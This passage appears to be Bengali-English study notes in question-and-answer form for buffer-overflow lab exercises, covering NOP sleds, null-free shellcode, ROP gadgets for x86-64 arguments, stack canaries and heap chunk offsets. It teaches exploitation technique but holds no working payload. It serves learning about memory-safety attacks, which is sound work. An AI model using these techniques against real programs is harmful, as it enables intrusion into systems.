A. Return address কে imprecise হতে দেয়: `0x90` sled-এর যেকোনো জায়গায় পড়লে execution shellcode-এ slide করে. Inject2Win-এর condition NOP ban করে, তাই এর return address exactly shellcode-এ point করতে হবে.

Q. SEED shellcode-এ কেন কোনো `0x00` byte রাখা হয় না?

A. এটা `strcpy` copy করে, যা প্রথম NULL-এ থেমে যায়; null byte shellcode truncate করত. এই জন্য `mov eax,0`-এর বদলে `xor eax,eax`.

Q. x86-64-এ `win`-এর argument কেন 32-bit-এর মতো দেওয়া যায় না?

A. 64-bit প্রথম argument গুলো register-এ দেয় (`rdi, rsi, …`), stack-এ নয়, তাই register load করতে ROP gadget (`pop rdi; ret`) লাগে.

Q. `-fno-stack-protector` কোন protection off করে, আর সেটা না থাকলে কী করত?

A. Stack canary — local আর return address-এর মাঝে random guard, `ret`-এর আগে check; overflow এটা change করলে program abort করে ("stack smashing detected").

Q. HeapOverflow: offset কেন 32, 10 না?

A. `malloc(10)` allocator round up করে (alignment + metadata); পাশাপাশি ছোট chunk-এর data region 32 byte apart.

সব *address provided binary* থেকে `objdump` দিয়ে *verify* করা. আলাদাভাবে *compile* করা *binary*-এর জন্য *offset* নতুন করে বের করতে হবে.